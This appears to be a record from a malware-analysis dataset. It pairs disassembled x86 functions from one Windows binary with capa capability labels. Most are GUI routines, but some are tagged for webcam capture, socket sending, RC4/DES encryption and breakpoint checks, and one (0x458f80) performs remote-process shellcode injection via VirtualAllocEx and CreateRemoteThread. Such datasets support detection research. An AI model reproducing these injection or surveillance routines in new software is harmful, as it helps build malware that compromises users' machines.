joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4384b0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x477f38
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x4384e9
inc eax
mov dword [esi + 0x10], eax
jmp 0x4385fc
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x4384fd
mov eax, 0xffffffc7
jmp 0x4385fe
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x43850e
cmp dword [esi + 8], eax
jne 0x4384fd
cmp dword [esi + 8], eax
jne 0x438527
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x438527
mov eax, 0xffffffc7
jmp 0x4385fe
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x43853b
push eax
mov ecx, ebx
call fcn.00437ce0
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00407db0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x43856c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00407dd0
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.00437450
test eax, eax
mov dword [esp + 0x38], eax
je 0x43859f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x47eac8
call fcn.00407fb0
mov eax, dword [esp + 0x38]
jmp 0x4385fe
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00438310
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x4385e3
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.00438330
mov esi, eax
test esi, esi
jne 0x438613
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00438310
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x4385b5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x47eac8
call fcn.00407fb0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x47eac8
call fcn.00407fb0
mov eax, esi
jmp 0x4385fe

Function at 0x43b720
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x43b780
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x43b780
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x43b780
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x43b780
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x43b7c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x4416d0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x478568
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.00471188
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.00441070
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.004710b6
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.0046d97a
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.0046d97a
push 1
push 0
push 0
mov ecx, esi
call fcn.0046d922
push 1
push 0
push 1
mov ecx, esi
call fcn.0046d922
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004711fa
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x441850
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x478588
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.00471188
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.00441070
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.004710b6
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x441914
cmp dword [esp + 0x40], 1
jne 0x441912
cmp ecx, eax
jge 0x441914
mov eax, ecx
cmp eax, 0xc8
jge 0x441920
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.004416d0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004711fa
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x442090
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4785f3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0046bd98
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.00471430
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0047298f
test eax, eax
je 0x4421ac
mov ecx, dword [esp + 0x3c]
call fcn.0047145d
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x442170
push edi
mov ecx, esi
call fcn.0046eac1
mov ecx, esi
call fcn.00442310
cmp dword [esp + 0x38], 1
jne 0x4421a5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0046ebfc
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x444bd0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x444c03
push esi
call fcn.00447cd0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x444bfc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x444c89
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x444c72
mov eax, dword [esi + 8]
test eax, eax
je 0x444c27
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x444c6e
cmp eax, 2
je 0x444c72
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x444c1a
cmp eax, 3
je 0x444c4d
cmp eax, 1
jne 0x444c1a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x444c1a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x444c1a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00444cb0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x444c98
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00444cb0
add esp, 4
pop esi
ret

Function at 0x450810
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x4508b3
test eax, eax
jbe 0x4508b3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x4508b3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x45085e
xor esi, esi
jmp 0x450864
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x45088f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.004087f0
add esi, eax
push esi
mov ebx, esi
call fcn.004087f0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x450870
pop ebp
test edi, edi
pop edi
jne 0x4508b3
test ebx, ebx
je 0x4508b3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0045b9a0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x4509f5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x450b0d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x450b0d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0046c1ea
mov esi, eax
test esi, esi
je 0x450b0d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x450b0d
mov ecx, esi
call fcn.00450960
cmp edi, eax
jge 0x450b0d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x450a93
mov dword [esp + 0x34], 1
jmp 0x450aee
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x450b0d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0044ff00
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x454a60
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
sub esp, 0x15c
mov eax, dword [esp + 0x160]
push ebx
push ebp
push esi
push edi
push eax
lea ecx, [esp + 0x38]
push str._Msg0001_4__Msg0001__s
push ecx
call fcn.0045c531
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x49a248]
repne scasb al, byte es:[edi]
mov eax, dword [str.0001]
mov dword [esp + 0x2c], edx
not ecx
dec ecx
mov dword [esp + 0x30], eax
mov ebx, ecx
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], ebx
mov dword [esp + 0x3c], ebx
lea eax, [ebx + 0x14]
push eax
mov dword [esp + 0x20], eax
call fcn.0045bb87
mov ebp, eax
mov ecx, 5
lea esi, [esp + 0x30]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea esi, [esp + 0x44]
mov edx, ecx
lea edi, [ebp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add esp, 0x10
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x174]
xor esi, esi
mov dword [esp + 0x14], esi
lea eax, [esp + 0x18]
lea ecx, [esp + 0x68]
push eax
push 0
push ecx
lea eax, [edi + 1]
push 0
push eax
mov dword [esp + 0x80], edi
mov dword [esp + 0x7c], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0x186a0
call sub.WS2_32.dll_select
test eax, eax
jl 0x454b70
je 0x454b62
lea edx, [esp + 0x68]
push edx
push edi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x454b62
mov ebx, dword [esp + 0x10]
add ebp, esi
sub ebx, esi
push 0
push ebx
push ebp
push edi
mov dword [esp + 0x20], ebx
call sub.WS2_32.dll_send
mov esi, eax
test esi, esi
jl 0x454b70
cmp esi, ebx
jge 0x454b70
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0xa
mov dword [esp + 0x14], eax
jl 0x454af7
push ebp
call fcn.0045ba9e
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret
Function at 0x456770
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x49a384]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x456783
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x4567c4
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x49a42c]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x4567f6
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4567fa
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x4567eb
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x456818
mov bl, byte [esp + ecx + 0x4c]
jmp 0x45681c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x45680d
xor ecx, ecx
mov eax, 0x49a394
xor ebx, ebx
mov bl, byte [ecx + 0x49a43c]
cmp byte [esp + ebx + 0x14], 0
je 0x456847
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x49a454]
cmp byte [esp + ebx + 0x14], 0
je 0x45685e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x45682e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x4567b7
lea edx, [esp + 0x84]
push edx
call fcn.004568a0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x458b30
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push esi
push edi
xor edi, edi
push edi
push edi
push eax
push ecx
push edi
push edi
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x458b7b
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x458b6c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
ret
mov eax, edi
pop edi
pop esi
ret
Function at 0x458f80
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push esi
xor esi, esi
inc eax
push eax
push esi
push 0x1f0fff
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x459194
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push edi
mov edi, dword [esp + 0x20]
push 0x40
push 0x1000
push edi
push esi
push ebx
call ebp
mov esi, eax
test esi, esi
mov dword [esp + 0x18], esi
je 0x459188
mov ecx, dword [esp + 0x1c]
push edi
push ecx
push esi
push ebx
call fcn.00458bd0
add esp, 0x10
test eax, eax
je 0x459179
mov edx, dword [esp + 0x20]
xor eax, eax
mov ecx, 0x4c
mov edi, 0x4bbee8
rep stosd dword es:[edi], eax
push str.kernel32.dll
mov dword [0x4bbfec], edx
mov dword [0x4bbff0], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x483814
push esi
call edi
push 0x483804
push esi
mov dword [0x4bbffc], eax
call edi
push str.RtlMoveMemory
push esi
mov dword [0x4bc000], eax
call edi
push str.RtlZeroMemory
push esi
mov dword [0x4bc008], eax
call edi
push 0x4837d4
push esi
mov dword [0x4bc004], eax
call edi
push 0x4837c4
push esi
mov dword [0x4bc00c], eax
call edi
mov dword [0x4bc010], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0045a9b2
add esp, 4
call fcn.0045a9bf
mov esi, eax
shl esi, 0x10
call fcn.0045a9bf
push 0x40
push 0x1000
push 0x400
push 0
add esi, eax
push ebx
mov dword [0x4bbff8], esi
call ebp
push 0x40
push 0x1000
push 0x130
push 0
push ebx
mov esi, eax
call ebp
push 0x104
push 0x4bbee8
push 0
mov edi, eax
mov dword [0x4bbff4], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov cl, byte [eax + 0x4bbee8]
cmp cl, 0x5c
lea eax, [eax + 0x4bbee8]
je 0x4590ec
mov edi, edi
mov byte [eax], 0
mov cl, byte [eax - 1]
dec eax
cmp cl, 0x5c
jne 0x4590e0
test esi, esi
je 0x459162
test edi, edi
je 0x459153
push 0x400
push 0x458d60
push esi
push ebx
call fcn.00458bd0
add esp, 0x10
test eax, eax
je 0x459153
push 0x130
push 0x4bbee8
push edi
push ebx
call fcn.00458bd0
add esp, 0x10
test eax, eax
je 0x459153
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebp, eax
test ebp, ebp
je 0x459153
push 0xffffffffffffffff
push ebp
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x10], 1
push 0x4000
push 0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test edi, edi
je 0x459175
push 0x4000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov esi, dword [esp + 0x18]
push 0x4000
push 0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop esi
pop ebx
pop ecx
ret 0xc
mov eax, esi
pop esi
pop ebx
pop ecx
ret 0xc
Function at 0x4591a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov dword [ebp - 8], 0
jmp 0x4591bb
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x4591d3
mov ecx, dword [ebp - 8]
mov dl, byte [ebp - 8]
mov byte [ebp + ecx - 0x108], dl
jmp 0x4591b2
mov dword [ebp - 0x214], 0
mov dword [ebp - 8], 0
jmp 0x4591ef
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x45922b
mov ecx, dword [ebp + 0xc]
sub ecx, 1
mov eax, dword [ebp - 0x214]
cdq
idiv dword [ebp + 0xc]
sub ecx, edx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov cl, byte [eax + ecx]
mov byte [ebp + edx - 0x208], cl
mov edx, dword [ebp - 0x214]
add edx, 1
mov dword [ebp - 0x214], edx
jmp 0x4591e6
mov dword [ebp - 0x214], 0
mov dword [ebp - 8], 0
jmp 0x459247
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x4592c3
mov ecx, dword [ebp - 8]
movzx edx, byte [ebp + ecx - 0x108]
add edx, dword [ebp - 0x214]
mov eax, dword [ebp - 8]
movzx ecx, byte [ebp + eax - 0x208]
add edx, ecx
and edx, 0x800000ff
jns 0x45927e
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0x214], edx
mov edx, dword [ebp - 8]
mov al, byte [ebp + edx - 0x108]
mov byte [ebp - 0x209], al
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x214]
mov al, byte [ebp + edx - 0x108]
mov byte [ebp + ecx - 0x108], al
mov ecx, dword [ebp - 0x214]
mov dl, byte [ebp - 0x209]
mov byte [ebp + ecx - 0x108], dl
jmp 0x45923e
mov dword [ebp - 8], 0
mov dword [ebp - 0x214], 0
mov dword [ebp - 4], 0
jmp 0x4592e6
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x14]
jge 0x4593cf
mov edx, dword [ebp - 8]
add edx, 1
and edx, 0x800000ff
jns 0x459308
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
movzx ecx, byte [ebp + eax - 0x108]
add ecx, dword [ebp - 0x214]
and ecx, 0x800000ff
jns 0x45932c
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 0x214], ecx
mov edx, dword [ebp - 8]
mov al, byte [ebp + edx - 0x108]
mov byte [ebp - 0x209], al
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x214]
mov al, byte [ebp + edx - 0x108]
mov byte [ebp + ecx - 0x108], al
mov ecx, dword [ebp - 0x214]
mov dl, byte [ebp - 0x209]
mov byte [ebp + ecx - 0x108], dl
mov eax, dword [ebp - 8]
movzx ecx, byte [ebp + eax - 0x108]
mov edx, dword [ebp - 0x214]
movzx eax, byte [ebp + edx - 0x108]
add ecx, eax
and ecx, 0x800000ff
jns 0x459397
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 0x210], ecx
mov ecx, dword [ebp - 0x210]
mov dl, byte [ebp + ecx - 0x108]
mov byte [ebp - 0x209], dl
mov eax, dword [ebp + 0x10]
add eax, dword [ebp - 4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x209]
xor ecx, edx
mov eax, dword [ebp + 0x18]
add eax, dword [ebp - 4]
mov byte [eax], cl
jmp 0x4592dd
mov esp, ebp
pop ebp
ret